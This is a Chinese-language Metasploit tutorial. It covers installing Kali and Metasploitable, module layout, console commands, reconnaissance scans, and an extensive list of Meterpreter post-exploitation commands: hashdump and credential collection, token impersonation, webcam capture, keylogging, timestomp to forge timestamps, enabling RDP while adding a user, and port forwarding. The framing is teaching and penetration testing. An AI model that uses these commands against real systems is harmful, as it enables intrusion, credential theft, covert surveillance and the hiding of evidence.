Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。Metasploit就是一个漏洞框架。
硬盘空间:
至少10G,个人建议50G;由于分区时用FAT32类型不支持大文件运行,所以分区建议使用NTFS、EXT3类型分区,
内存:
建议2G及以上
处理器:
处理器要求较低,市面上电脑均可满足要求,处理速度大于500HZ即可
网络设备
虚拟机中桥接即可,也可以自己配置IP,无线网络需要外接无线网卡
软件:
KALI 和其他测试系统
虚拟机:
必备:需安装kali和各种测试系统
Kali:
下载地址:http://www.kali.org/downloads/
升级指令:“apt-get update && apt-get upgrade”
Metasploitable系统:
它包含Linux系统中大大小小的漏洞,很适合做测试系统。
下载地址:https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
下载之后发现是zip格式的,直接解压用vm打开就可以。
1.替换yum源,将原有源用#注释掉。
vi /etc/apt/sources.list
kali官方源
#deb http://http.kali.org/ kali-rolling main non-free contrib
#deb-src http://http.kali.org/ kali-rolling main non-free contrib
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
保存退出即可
注意(vi编辑之保存—退出)
按ESC键 跳到命令模式,然后:
:w 保存文件但bai不退出vi
:w file 将修改另外保存到file中,du不退出vi
:w! 强制保存,不推zhi出vi
:wq 保存文件并退出vi
:wq! 强制保存文件,并退出vi
q: 不保存文件,退出vi
:q! 不保存文件,强制退出vi
:e! 放弃所有修改,从上次保存文件开始再编辑
2.添加数字签名
wget archive.kali.org/archive-key.asc //下载签名
apt-key add archive-key.asc //安装签名
注:如果添加数字签名还提示无法安装可删除原有msf
root@kali:~# apt remove metasploit-framework
注:卸载过程中无法获得锁 /var/cache/apt/archives/lock - open (11: 资源暂时不可用)
无法对目录 /var/cache/apt/archives/ 加锁
root@kali:~# sudo rm /var/cache/apt/archives/lock //进行强制解锁
root@kali:~# sudo rm /var/cache/apt/archives/
3.安装msf框架
root@bogon:~# apt-get update
root@kali:~# apt-get install metasploit-framework //安装msf框架
root@kali:~#msfconsole //发现有提示数据库未启动,退出msf启动数据库
root@kali:~# systemctl start postgresql //启动数据库
root@kali:~# systemctl enable postgresql //允许开机自启动
root@kali:~# msfdb init //构建数据库缓存
root@kali:~#msfconsole
注意
如果更新完msf出现才下问题
root@kaliew:~# msfconsole
[] Bundler failed to load and returned this error:
‘cannot load such file – bundler/setup’
[] You may need to uninstall or upgrade bundler
解决方法:
root@kaliew:~# sudo gem install bundler
root@kaliew:~# bundle update celluloid
MSF 在BT5下存放目录
/opt/MSF
MSF Kali下存放目录
/usr/share/MSF-framework/
漏洞框架地址
/usr/share/metasploit-framework/
各种模块几乎都在这里
cd modules
Auxiliary
主要包含渗透测试中一些辅助性的脚本,这些脚本功能有扫描,嗅探,破解,注入,漏洞挖掘等
Encoders
各种编码工具,用于躲过入侵检测系统和过滤系统
Exploit
包含了exp,0day,各种漏洞利用脚本,主要攻击代码都存在这里
命名规则 系统/服务/模块、在使用exp时可以按照这个命名方法找
比如:use exploites/windows(系统)/vnc(服务)/realvnc_client(模块名)
Nops
用于绕过IDS IPS,生成脚本
Payloads
是攻击者发送给系统执行的指令。
命名规则:系统/类型/名称 比如: use payloads/windows/shell/bind_tcp
payloads与exploits区别:payloads在目标机执行、exploits在本地机执行作用与目标机。
Post
这个目录存放MSF中exploits执行成功之后,向目标机发送的一些功能性指令,比如提权、获取hash
Data
这个目录里盛放了Meterpreter、PassiveX、Vnc、DLLs等这些工具和一些用户接口代码,Msfweb 和一些其他模块用到的数据文件。
Plugins
模块用户需要使用load来加载,提供插件,例如数据库连接插件
Scripts
这个目录下文件大都是Meterpreter这个模块利用的脚本
tools
包含一些有用的脚本和零散的工具
渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。
攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。
shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。
在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。
监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。
用?可以浏览所有命令:帮助菜单
msfconsole
打开控制台
search
搜索命令或模块,如:search ms08-067
Use
执行命令、利用模块,如:use exploit/windows/smb/ms08_067_netapi
back
从当前环境返回
info
查看模块信息,如:info exploit/windows/smb/ms08_067_netapi
check
检测
banner
显示MSF相关信息
connect+网址+端口
连接一个主机,如:connect www.baidu.com 80
exit/quit
退出控制台
irb
进入irb脚本模式
jobs
显示并管理作业(与Windows中的任务管理器一样)
kill
结束作业,杀死一个进程(与结束进程作用一样)
loadpath
加载一个模块路径
load
加载一个插件
resource
运行储存一个文件中的命令
route
查看一个会话路由信息
save
保存动作
set
给变量复制,如:set RHOST 192.168.1.0
show
显示给所有类型的模块,如:show options
setg
把一个赋值给全局变量
例如set设置IP,就会用到其他共计模块的RHOST中
sleep
在限定的秒数内什么也不做
unload
卸载一个模块
unset
解出一个或者多个变量,如:unset RHOST
unsetg
解出一个或者多个全局变量
version
显示MSF和控制台库版本
命名规则:系统/服务/名称
例如:windows/smb/ms08_067_netapi
RHOST:目标主机IP地址 如:set rhost 192.168.0.1
RPORT:目标主机连接端口 如:set rport 80
LHOST:攻击者的IP地址 如:set lhost 192.168.0.1
LPORT:攻击者的端口 如:set lport 80
Payload:有效的载荷,成功后返回shell 如:set payload windows/meterpreter/bind_tcp
是在使用一个模块之后再去使用的。
命名规则:系统/类型/名称
例如:Windows/dllinject/reverse_tcp
类型命名规则
shell:上传一个shell。
dllinject:注入一个dll到进程。
patchup***:修补漏洞。
upexec:上传并执行一个文件。
meterpreter:高级的payload。
vncinject:高级的payload。
passive:高级的payload。
名称的命名规则
shell_find_tag:在一个已建立的连接上创建一个shell。
shell_reverse_tcp:反向连接到攻击者主机并创建一个shell。
bind_tcp:监听一个tcp连接。
reverse_tcp:反向建立tcp连接。
reverse_http:通过HTTP隧道通信并创建一个新用户添加到管理组。
add_user:创建一个新用户并添加到管理组。
xxx_ipv6_tcp:基于IPV6。
xxx_nonx_tcp:no execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术)。
xxx_ord_tcp:有序payload。
xxx_tcp_allports:在所有可能的端口。
在kali命令窗口输入Msfconsole启动MSF
Search +漏洞号码来查找漏洞,输出结果会有该漏洞相应的利用模块
Use+漏洞模块进入模块
Info查看该漏洞利用的相关信息(作者信息、可攻击的系统等等)
Show options看一下需要设置那些东西 如攻击IP地址‘、端口号等
Set 根据show options输出的信息进行设置漏洞set
如;set payload、set rhost\rport、set lhost\lport、set target、等等
Check检测是否存在漏洞
Exploit或run开始攻击
看攻击效果:session -I 有会话则成功。
查看域名信息
Whois www.baidu.com
查看IP信息
Whois 192.168.1.100
use auxiliary/gather/search_email_collector 进入查找邮箱模块
show options 查看需要设置什么东西
set domain www.baidu.com 设置一个域名
set search_google false 由于google被国内封了,所以关了它
run 运行
use auxiliary/gather/enum_dns 进入DNS枚举模块
show options 查看需要设置什么东西
set domain baidu.com 设置一个域名
注意:要设置顶级域名不要加www,不然爆破的时候就是xxx.www.baidu.com了
Run 运行
1.内置namp 扫描
Namp -sV 192.168.1.100
2.syn扫描
use auxiliary/scanner/portscan/syn 进入syn扫描
show options 查看需要设置什么东西
set rhost 192.168.1.100 设置目标地址
set threads 100 设置线程(默认为1,这里设置为100)
run 运行
扫描原理:
扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答而是发送RST包请求断开连接。这样,三次握手就没有完成,无法建立正常的TCP连接,因此,这次扫描就不会被记录到系统日志中。这种扫描技术一般不会在目标主机上留下扫描痕迹。但是,这种扫描需要有root权限。
TCP connect端口扫描服务端与客户端建立连接成功(目标端口开放)过程:
① Client端发送SYN;
② Server端返回SYN/ACK,表明端口开放;
③ Client端返回ACK,表明连接已建立;
④ Client端主动断开连接。
TCP connect端口扫描服务端与客户端未建立连接成功(目标端口关闭)过程:
① Client端发送SYN;
② Server端返回RST/ACK,表明端口未开放。
端口开放:
1、Client发送SYN ;
2、Server端发送SYN/ACK ;
3、Client发送RST断开(只需要前两步就可以判断端口开放)。
端口关闭:
1、Client发送SYN ;
2、Server端回复RST(表示端口关闭)。
优点:
SYN扫描要比TCP Connect()扫描隐蔽一些,SYN仅仅需要发送初始的SYN数据包给目标主机,如果端口开放,则相应SYN-ACK数据包;如果关闭,则响应RST数据包;
3.tcp扫描
use auxiliary/scanner/portscan/tcp 进入tcp扫描
show options 查看需要设置什么东西
set rhost 192.168.1.100 设置目标地址
set threads 100 设置线程(默认为1,这里设置为100)
run 运行
1.smb版本扫描
use auxiliary/scanner/smb/smb_version 进入SMB扫描
show options 查看需要设置什么东西
set rhost 192.168.1.100 设置目标地址
run 运行
2…ssh 版本扫描
use auxiliary/scanner/ssh/ssh_version 进入ssh 版本扫描
show options 查看需要设置什么东西
set rhost 192.168.1.100 设置目标地址
set threads 100 设置线程(默认为1,这里设置为100)
run 运行
3.ftp版本扫描
use auxiliary/scanner/ftp/ftp_version 进入ftp版本扫描
show options 查看需要设置什么东西
set rhost 192.168.1.100 设置目标地址
set threads 100 设置线程(默认为1,这里设置为100)
run 运行
1:上传文件到Windows主机
简单来说,你可以上传本机的任意文件到远程目标主机中。
命令:
upload
注意:使用-r参数可以递归上传上传目录和文件
正确输文件的方法是:upload //root//123.exe c:\123.exe
2:从windows主机下载文件
download命令可以下载远程主机上的文件
命令:
download
注意:Windows路径要使用双斜线
如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download -r命令
3:在目标主机上执行exe文件
我们也可以使用execute命令在目标主机上执行应用程序
语法也非常简单
命令:
execute -f
正确写法是: execute -f c://1.exe
4:创建CMD新通道
如果你想在目标主机上执行命令提示符,你可以使用下列命令:
命令:
execute -f cmd -c
5:显示进程
ps命令会显示目标主机上所有正在运行的进程
命令:
ps
6:获取目标主机的cmd shell
shell命令可以进入目标主机的cmd
命令:
shell
7:获取admin权限
getsystem命令可以提权到本地系统权限
命令:
getsystem
8:使用Hashdump转储所有hash值
我们可以使用meterpreter shell来dump目标主机的当前系统账户和密码。转储的内容是NTML哈希格式,网上有很多工具和技巧来破解它们。
NTLM在线破解:https://hashkiller.co.uk/ntlm-decrypter.aspx
命令:
hashdump
输出的每一行内容格式如下
Username:SID:LM hash:NTLM hash:::
9:使用Credcollect转储hash值
还有一个类似的脚本叫credential_collector,也可以收集目标主机的tokens
命令:
run credcollect
10:创建端口转发
meterpreter shell中的portfwd命令是转发技术中最常用的一个命令,可以让攻击系统访问本来无法直接访问的目标主机。
add选项会将端口转发添加到列表中,而且本质上会创建一个隧道。
请注意:这个隧道存在于meterpreter控制台之外,任何终端会话都可以使用。
命令:
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
rdesktop 127.0.0.1:6666
11:删除端口转发
跟创建端口转发命令类似,这条命令是删除一条端口转发记录
命令:
portfwd delete -l -p -r
如:portfwd delete -l 1337 -p 1337 -r 192.168.1.100
如果你想显示所有端口转发记录,你可以使用portfwd list命令,如果你想删除所有的记录,可以使用portfwd flush命令
12:在目标主机上搜索文件
搜索命令可以来定位查找目标主机上的特定文件。这个命令可以搜索整个文件系统,也可以搜索特定的文件夹。
例如,如果你想搜索目标主机上的所有txt文件,可以使用下列命令:
命令:
search -f *.txt
13:获取用户ID
getuid命令会显示主机上运行meterpreter 服务的用户
命令:
getuid
14:获取系统信息
sysinfo命令会显示系统名,操作系统,架构和语言等。
命令:
sysinfo
15:模拟任意用户(token操作)
这个进程对于攻击像微软活动目录这样的分布式系统非常有帮助,因为在微软活动目录中,本地访问权限并没多大用,但是如果能搞到凭证尤其是管理员凭证,那就非常有用了。
incognito最开始是一个独立的应用,当你成功入侵系统后可以用它来模拟用户tokens。这个应用后来集成到了metasploit,并且最终集成到了meterpreter中,使用如下:
在meterpreter会话中加载这个模块非常简单,只要输入 use incognito命令即可
输入list_tokens -u来显示所有有效的tokens
然后我们需要模拟某个token来获取其权限。还有注意,如果成功模拟了一个token,我们可以使用getuid命令来检查当前用户ID
getuid
use incognito
list_tokens -u
impersonate_token “Machine\user”
16:webcam摄像头命令
webcam_list 查看摄像头
webcam_snap 通过摄像头拍照
webcam_stream 通过摄像头开启视频
17:execute执行文件
execute 在目标机中执行文件
execute -H -i -f cmd.exe 创建新进程cmd.exe,-H不可见,-i交互
18:timestomp伪造时间戳
timestomp C:// -h 查看帮助
timestomp -v C://2.txt 查看时间戳
timestomp C://2.txt -f C://1.txt 将1.txt的时间戳复制给2.txt
19:enable_rdp脚本开启3389
run post/windows/manage/enable_rdp 开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 将3389端口转发到6662
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令
20:键盘记录
keyscan_start 开始键盘记录
keyscan_dump 导出记录数据
keyscan_stop 结束键盘记录
其它详细见: https://xz.aliyun.com/t/2536